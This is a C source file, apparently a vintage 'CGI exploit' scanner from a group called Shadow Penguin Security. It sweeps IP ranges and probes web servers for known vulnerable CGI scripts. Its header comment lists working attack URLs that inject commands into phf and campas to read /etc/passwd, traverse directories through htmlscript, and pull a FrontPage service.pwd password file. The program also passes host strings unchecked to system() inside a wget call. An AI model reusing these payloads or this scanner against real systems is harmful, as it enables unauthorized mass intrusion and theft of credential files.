/*=============================================================================

  CGI seculity holes scanner - CGI exploit Ver1.10

  The Shadow Penguin Security (http://shadowpenguin.backsection.net)

  Written by UNYUN (shadowpenguin@backsection.net)

                            

  *Target Hole

    phf、test-cgi、nph-test-cgi、campas、htmlscript、service.pwd



  *Test

  http://www.hoge.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

  http://www.hoge.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd

  http://www.hoge.com/cgi-bin/nph-test-cgi?/*

  http://www.hoge.com/cgi-bin/campas?%0a/bin/cat%0a/etc/passwd

  http://www.hoge.com/cgi-bin/htmlscript?../../../../etc/passwd

  http://www.hoge.com/_vti_pvt/service.pwd

  ------------------------------------------------------------

*/

#include <unistd.h>

#include <signal.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <arpa/inet.h>

#include <stdio.h>

#include <string.h>

/*

#include <netinet/in.h>

#include <netdb.h>

*/



#define     LOGNAME     "cgiexp.log"

#define     TIMEOUT_V   2       /* Connection Timeout value */

#define     MAX_IPLEN   16

#define     MAX_URLLEN  1000



                                /* exploitable CGI holes (easy to add) */

static char         *holes[]={  "cgi-bin/phf",

                                "cgi-bin/test-cgi",

                                "cgi-bin/nph-test-cgi",

                                "cgi-bin/campas",

                                "cgi-bin/htmlscript",

                                "_vti_pvt/service.pwd",

                                "END"};



int     sock;



main(int argc,char *argv[])

{

    int             separation(char *,unsigned long *);

    void            attack(char *,FILE *);

    int             i,j;

    unsigned long   ips,ipe,ip;

    char            ipb[MAX_IPLEN],buf[MAX_IPLEN],buf2[MAX_IPLEN];

    char            cmd[MAX_URLLEN];

    FILE            *fpw,*fpl;



    printf("CGI seculity holes scanner - CGI exploit Ver1.10\n");

    printf("The Shadow Penguin Security Inc.\n\n");



    if (argc==2){

        if ((fpl=fopen(argv[1],"r"))==NULL){

            printf("File not found '%s'\n",argv[1]);

            exit(1);

        }

    }else{

        printf("Start IP address : "); 

        scanf("%s",buf);



        if (separation(buf,&ips)==-1){

            printf("Error : Invalid IP address\n");

            exit(1);

        }

        printf("End IP address : "); 

        scanf("%s",buf2);



        if (separation(buf2,&ipe)==-1){

            printf("Error : Invalid IP address\n");

            exit(1);

        }

    }

    if ((fpw=fopen(LOGNAME,"w"))==NULL){

        printf("File write error '%s'\n",LOGNAME);

        exit(1);

    }

    if (argc==2){

        for (;;){

            if (feof(fpl)) break;

            fscanf(fpl,"%s",ipb);

            attack(ipb,fpw);

        }

        fclose(fpl);

    }else{

        for (ip=ips;ip<=ipe;ip++){

            sprintf(ipb,"%lu.%lu.%lu.%lu",ip>>24,(ip&0x00ff0000)>>16,

                                      (ip&0x0000ff00)>>8, ip&0x000000ff);

            attack(ipb,fpw);

        }

    }

    fclose(fpw);

}



void    attack(char *ipb,FILE *fpw)

{

    int             flag;

    int             i,j;

    char            cmd[MAX_URLLEN];

    FILE            *fp;

    int             portscan(int, char *);



    printf("%15s...",ipb);

    fprintf(fpw,"%15s...",ipb);

    if (portscan(80,ipb)==0){

        flag=0;

        for (i=0;;i++){

            if (strcmp(holes[i],"END")==0) break;

            for (j=strlen(holes[i])-1;j>=0;j--)

                if (holes[i][j]=='/') break;

            j++;

            remove(holes[i]+j);

            sprintf(cmd,"wget -nv %s/%s",ipb,holes[i]);

            system(cmd);

            if ((fp=fopen(holes[i]+j,"r"))!=NULL){

                if (flag==0){

                    printf("\n");

                    fprintf(fpw,"\n");

                }

                printf("Hit!! Running '%s'\n",holes[i]+j);

                fprintf(fpw,"Hit!! Running '%s'\n",holes[i]+j);

                fclose(fp);

                flag++;

            }

        }

        if (flag==0){

            printf("no holes\n");

            fprintf(fpw,"no holes\n");

        }

    }else{

        printf("\n");

        fprintf(fpw,"\n");

    }

}



int separation(char *ipaddr,unsigned long *ipl)

{

    int             i,j,n;

    char            buf[MAX_IPLEN];

    int             ip[4];

    unsigned long   d;



    for (n=0,j=0,i=0;i<=strlen(ipaddr);i++){

        if (ipaddr[i]=='.' || i==strlen(ipaddr)){

            buf[j]=0;

            ip[n]=atoi(buf);

            if (ip[n]<0 || ip[n]>255) return (-1);

            n++; j=0;

        }else{

            buf[j]=ipaddr[i];

            j++;

        }

    }

    if (n!=4) return (-1);

    d=256;

    *ipl=ip[3]+ip[2]*d+ip[1]*d*d+ip[0]*d*d*d;

    return(0);

}



int   portscan(int port, char *ipaddr)

{

    struct sockaddr_in  addr, server; 

    void                timeoutfunc();



    sock = socket(AF_INET, SOCK_STREAM, 0);

    if (sock < 0){

        printf("Socket creation error");

        return(-1);

    }



    memset((char *) &server, 0, sizeof(server));

    server.sin_family = AF_INET;

    server.sin_addr.s_addr = htonl(INADDR_ANY);

    server.sin_port = 0;



    if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0) {

        close(sock);

        printf("Bind error ");

        return (-2);

    }



    addr.sin_family = AF_INET;

    addr.sin_addr.s_addr = inet_addr(ipaddr);

    addr.sin_port = htons(port);



    signal(SIGALRM, timeoutfunc);

    alarm(TIMEOUT_V);



    if (connect(sock,(struct sockaddr *)&addr,sizeof(addr))!=0){

        close(sock);

        return (-3);

    }

    close(sock);

    return (0);

}

void    timeoutfunc()

{

    close(sock);

}